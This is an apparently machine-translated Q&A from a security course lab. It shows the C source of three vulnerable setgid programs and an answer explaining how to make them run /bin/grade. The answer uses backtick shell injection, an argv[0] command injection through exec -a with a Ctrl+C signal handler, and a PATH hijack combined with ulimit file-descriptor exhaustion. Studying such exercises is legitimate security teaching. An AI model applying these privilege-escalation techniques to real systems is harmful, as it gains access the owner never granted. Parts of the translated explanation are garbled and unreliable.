如何使用set-guid位漏洞执行/bin/grade
使用以下3个易受攻击的程序拥有的文件root
?我不是root用户,也不是bsp *组的一部分,因此我对这些程序的访问仅限于阅读和阅读。只执行。对于文件/bin/grade
,我只有读取权限,但我想将其作为组bsp *执行。
-rwxr-sr-x 1 root bsp3 9673 Sep 25 2012 prog2
-rwxr-sr-x 1 root bsp4 10724 Sep 25 2012 prog3
-rwxr-sr-x 1 root bsp5 9557 Sep 25 2012 prog4
3个程序是包含以下C代码的二进制文件:
// PROG2:
int main(int argc, char **argv)
{
/* set up command buffer */
char cmdbuf[128] = "export IFS=' \t\n'; /usr/bin/file ";
char *input = cmdbuf + strlen(cmdbuf);
int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1);
gid_t egid = getegid();
setregid(egid, egid);
/* read input -- use safe function to prevent buffer overrun */
fprintf(stdout, "Please enter a filename: ");
fgets(input, len, stdin);
/* sanitize input -- replace unsafe shell characters */
for (; *input != '\0'; ++input) {
switch (*input) {
case '|': case '&':
case '<': case '>':
case '!': case '$':
case ';':
*input = ' ';
break;
}
}
/* execute command */
system(cmdbuf);
return 0;
}
// PROG3:
char cmdbuf[128] = "echo interrupt signal caught, terminating ";
char *progname;
/*
* Handle a ^C keyboard interrupt in case the program is running
* too long and the user terminates.
*/
void handle_signal(int sig)
{
int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1);
if (strlen(progname) > len)
progname[len] = '\0';
strcat(cmdbuf, progname);
system(cmdbuf);
exit(1);
}
void usage()
{
printf("%s <n> where 0 < n <= 5.000\n", progname);
exit(1);
}
/*
* The program takes one argument line parameter n (which has to be a
* positive integer input parameter) and then prints out the first n
* prime numbers.
*/
int main(int argc, char **argv)
{
struct sigaction sa;
int cnt, N, found;
unsigned long candidate, divisor;
gid_t egid = getegid();
setregid(egid, egid);
/* set up signal handling */
memset(&sa, sizeof(struct sigaction), 0);
sa.sa_handler = handle_signal;
sigaction(SIGINT, &sa, NULL);
/* process argument */
progname = argv[0];
if (argc != 2)
usage();
N = strtol(argv[1], NULL, 10);
if ((N <= 0) || (N > 5000))
usage();
/* calculate prime numbers -- simple sieve */
candidate = 1;
for (cnt = 0; cnt < N; ++cnt) {
for (;;) {
found = 1;
divisor = 2;
candidate += 1;
while (divisor <= candidate/2) {
if ((candidate % divisor) == 0) {
found = 0;
break;
}
else
++divisor;
}
if (found)
break;
}
printf("%ld\n", candidate);
}
return 0;
}
// PROG4:
int main(int argc, char **argv) {
FILE *file = fopen("/etc/passwd","r");
if (file==NULL)
{
printf("Oh no, first open failed!\n");
system("less /usr/local/share/error.txt");
/* Mayday mayday! Bailing out */
exit(1);
}
FILE *file2 = fopen("/etc/passwd","r");
if (file2==NULL)
{
fclose(file);
printf("Oh no, second open failed!\n");
system("less /usr/local/share/error.txt");
/* Mayday mayday! Bailing out */
exit(1);
}
FILE *file3 = fopen("/etc/passwd","r");
if (file3==NULL)
{
fclose(file);
fclose(file2);
printf("Oh no, third open failed!\n");
system("less /usr/local/share/error.txt");
/* Mayday mayday! Bailing out */
exit(1);
}
FILE *file4 = fopen("/etc/passwd","r");
if (file4==NULL)
{
fclose(file);
fclose(file2);
fclose(file3);
printf("Oh no, fourth open failed!\n");
system("less /usr/local/share/error.txt");
/* Mayday mayday! Bailing out */
exit(1);
}
/* Imagine we are doing something very important and useful here... */
printf("I managed to successfully open the /etc/passwd file 4 times! I am the king yeahaaaa!\n\n");
printf("Never think you've seen the last of anything. Eudora Welty\n\n");
return 0;
}
答案 0 :(得分:0)
这个问题可以通过利用shell注入漏洞来解决。
对于prog2:
$ /usr/local/bin/prog2
出现提示时,输入/bin/grade
作为杀菌剂忘记解决的特殊字符`中的文件名。
对于prog3:
$ exec -a “;/bin/grade” /usr/local/bin/prog3 5000
但你必须快速点击Ctrl+C
以便调用中断信号功能。
对于prog4:
$ cd ~/
$ export PATH=/path/to/your/home:$PATH //prepend the path to your current/home directory so that the system looks there for `less`
$ ln -s -f /bin/grade less
$ ulimit -n 6
$ /usr/local/bin/prog4